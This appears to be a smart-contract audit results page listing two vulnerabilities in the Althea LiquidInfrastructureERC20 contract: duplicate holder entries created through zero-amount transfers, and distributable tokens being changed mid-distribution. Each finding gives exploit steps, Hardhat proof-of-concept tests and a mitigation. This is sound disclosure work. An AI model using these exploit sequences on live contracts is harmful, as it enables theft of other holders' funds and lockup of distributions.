Althea Liquid Infrastructure - csanuragjain's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

Impact

It is possible to steal other holders fund and cause DOS. This happens since duplicate holders can be forced added by User

Proof of Concept

1. Lets say LiquidInfrastructureERC20 has 1000 amount of erc20 Asset A
2. Lets say holder1, holder2 are added with below shares of LiquidInfrastructureERC20:

holder 1 : 100
holder 2 : 100

3. holder1 transfers all 100 tokens to holder 2. Hence holder 1 balance is 0
4. holder 2 now transfers 0 amount to holder 1 which calls _beforeTokenTransfer

bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

5. Since holder 1 balance is 0, so holder 1 is again added to holders array

6. Owner adds a new holder 3 with below shares of LiquidInfrastructureERC20:

holder 3 : 800

7. So now 4 holder are present -> holder1,holder2,holder1,holder3

8. holder 2 now transfers back full 200 amount to holder 1. Since holder 2 balance is 0 so it is removed from holder list

if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }

9. Now Attacker simply calls distribute with numDistributions as 2. This causes distribution to run for first 2 holders which is holder 1, holder 1

10. Due to duplicate holder 1 entry, both entry receive the distribution. This means instead of getting 200, holder 1 gets 200+200=400

11. Any attempt to distribute holder 3 fails due to fund shortage caused by stolen funds

POC

    it("POC", async function () {
    const {
      infraERC20,
      erc20Owner,
      testERC20A,
      testERC20B,
      testERC20C,
      nftAccount1,
      nftAccount2,
      nftAccount3,
      holder1,
      holder2,
      holder3,
      holder4,
    } = await liquidErc20Fixture();

    const holders = [holder1, holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
    let nfts: LiquidInfrastructureNFT[] = [
      await deployLiquidNFT(nftAccount1),
      await deployLiquidNFT(nftAccount2),
      await deployLiquidNFT(nftAccount3),
    ];
    const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C];
    for (const nft of nfts) {
      nft.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      );
    }
	
    await customDistributionTests(
      infraERC20,
      erc20Owner,
      holders,
      nftOwners,
      nfts,
      erc20s
    );
  });

async function customDistributionTests(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [holder1, holder2, holder3] = holders.slice(0, 3);
  const [nftOwner1] = nftOwners.slice(0, 1);
  let [nft1] = nfts.slice(0, 1);
  const [erc20a] = rewardErc20s.slice(0, 1);
  const erc20Addresses = [
    await erc20a.getAddress()
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 1000;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal(
    rewardAmount1
  );

  // And then send the rewards to the ERC20
  await infraERC20.withdrawFromAllManagedNFTs();

  // Grant holder1 and holder2 100 Infra ERC20 tokens each 
  await infraERC20.mint(holder1.address, 100);
  await infraERC20.mint(holder2.address, 100);
  
  // Attack: holder1 transfers all 100 tokens to holder 2
  await infraERC20.connect(holder1).transfer(await holder2.getAddress(), 100);
  expect(await infraERC20.balanceOf(await holder2.address)).to.equal(200);
  
  //Attack holder2 transfers 0 balance to holder1, this creates duplicate holder1, _beforeTokenTransfer adds holder since balance was 0
  // Repeat this to loot more :)
  await infraERC20.connect(holder2).transfer(await holder1.getAddress(), 0);
  
  //Attack Now holder2 transfer all amount 200 back to holder 1
  await infraERC20.connect(holder2).transfer(await holder1.getAddress(), 200);
  
  //holder3 is minted amount 800
  await infraERC20.mint(holder3.address, 800);
  await mine(500);
  
  // Now there are 4 holders instead of 3 due to duplicate entry
  // holder1,holder2,holder1,holder3
  
  const initBal=await erc20a.balanceOf(await holder1.address);
  
  // distributeToAllHolders will fail always due to insufficient funds
  // Attack call distribute
  await infraERC20.distribute(2);
  const finalBal=await erc20a.balanceOf(await holder1.address);
  
  //Reverts and give 400 (double than expected)
  expect(finalBal-initBal).to.equal(200).not.to.be.reverted;
  
  
}

Recommended Mitigation Steps

Change the below code in _beforeTokenTransfer

-- if (!exists) {
++ if (!exists && amount>0) {

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L444

Vulnerability details

Impact

It seems that Owner can change distributableERC20s even when LockedForDistribution is true. All other functions have required protection to prevent Admin from mistakenly doing unrequired actions at LockedForDistribution This mistake can cause User to steal fund and DOS for the contract flow.

Proof of Concept

1. Lets say LiquidInfrastructureERC20 has below distributableERC20s and below erc20 asset amounts which are pending distribution

distributableERC20s = [A,B]
ERC20 Asset A amount : 1000
ERC20 Asset B amount : 2000

2. There are 3 holders with below shares:

holder 1 : 10 shares of LiquidInfrastructureERC20
holder 2 : 40 shares of LiquidInfrastructureERC20
holder 3 : 50 shares of LiquidInfrastructureERC20

3. User calls distribute function with 1 as numDistributions

4. entitlement for both asset is calculated as below:

entitlement for Token A: 1000/(10+40+50) = 10
entitlement for Token B: 2000/(10+40+50) = 20

5. So distribution for holder 1 is

Token A: 10 shares *10 entitlement = 100
Token B: 10 shares *20 entitlement = 200

6. Admin changes the distributableERC20s by swapping both tokens (remember distribution is still pending for 2 holders and LockedForDistribution is true)

distributableERC20s = [A,B]

7. Now User calls distribute function with 1 as numDistributions

8. distribution for holder 2 is

Token B (since token is swapped): 40 shares *10 entitlement = 400
Token A: 40 shares *20 entitlement = 800

9. Hence User got 800 Token A instead of 400 Token A. This is a problem if Token A is more expensive

10. Moreover distributeToAllHolders will fail since contract will have lesser funds than required so contract will be in Locked state until Admin himself put his own fund to fulfil the gap

POC

async function customDistributionTests2(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [holder1, holder2, holder3] = holders.slice(0, 3);
  const [nftOwner1] = nftOwners.slice(0, 1);
  let [nft1] = nfts.slice(0, 1);
  const [erc20a,erc20b] = rewardErc20s.slice(0, 2);
  const erc20Addresses = [
    await erc20a.getAddress(),
    await erc20b.getAddress()
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 1000;
  const rewardAmount2 = 2000;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  await erc20b.transfer(await nft1.getAddress(), rewardAmount2);

  // And then send the rewards to the ERC20
  await infraERC20.withdrawFromAllManagedNFTs();

  // Grant holder1 and holder2 100 Infra ERC20 tokens each 
  await infraERC20.mint(holder1.address, 10);
  await infraERC20.mint(holder2.address, 40);
  await infraERC20.mint(holder3.address, 50);
  
  await mine(500);
  
  const initBalh1=await erc20a.balanceOf(await holder1.address);
  // Distribute to holder1 which has 10 share means he get
  // 100 erc20a and 200 erc20b
  await infraERC20.distribute(1);
  
  const finalBalh1=await erc20a.balanceOf(await holder1.address);
  expect(finalBalh1-initBalh1).to.equal(100);
  
  // Owner changes the erc20 address, basically swaps them
 const erc20Addresses2 = [
    await erc20b.getAddress(),
	await erc20a.getAddress()
  ];
  
  //change the erc20 token in between distribution
  await infraERC20.setDistributableERC20s(erc20Addresses2);
  
  const initBal=await erc20a.balanceOf(await holder2.address);
  
  // Distribute to holder2 which had 40 shares
    // Since erc20 token position is swapped so holder2 gets 
  // 20*40 erc20a and 10*40 erc20b which is opposite of what he should have got
  await infraERC20.distribute(1);
  
  const finalBal=await erc20a.balanceOf(await holder2.address);
  
  // this fails since User get 800 instead of 400
  expect(finalBal-initBal).to.equal(400);
    
}

  it("POC Change tokens", async function () {
    const {
      infraERC20,
      erc20Owner,
      testERC20A,
      testERC20B,
      testERC20C,
      nftAccount1,
      nftAccount2,
      nftAccount3,
      holder1,
      holder2,
      holder3,
      holder4,
    } = await liquidErc20Fixture();

    const holders = [holder1, holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
    let nfts: LiquidInfrastructureNFT[] = [
      await deployLiquidNFT(nftAccount1),
      await deployLiquidNFT(nftAccount2),
      await deployLiquidNFT(nftAccount3),
    ];
    const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C];
    for (const nft of nfts) {
      nft.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      );
    }
    await customDistributionTests2(
      infraERC20,
      erc20Owner,
      holders,
      nftOwners,
      nfts,
      erc20s
    );
  });

Outcome:
 POC Change tokens:

      AssertionError: expected 800 to equal 400. The numerical values of the given "bigint" and "number" inputs were compared, and they differed.
      + expected - actual

      -800
      +400

Recommended Mitigation Steps

Modify setDistributableERC20s to add below check:

 function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
require(!LockedForDistribution, "cannot change distribution erc20 assets");
        distributableERC20s = _distributableERC20s;
    }

Assessed type

Other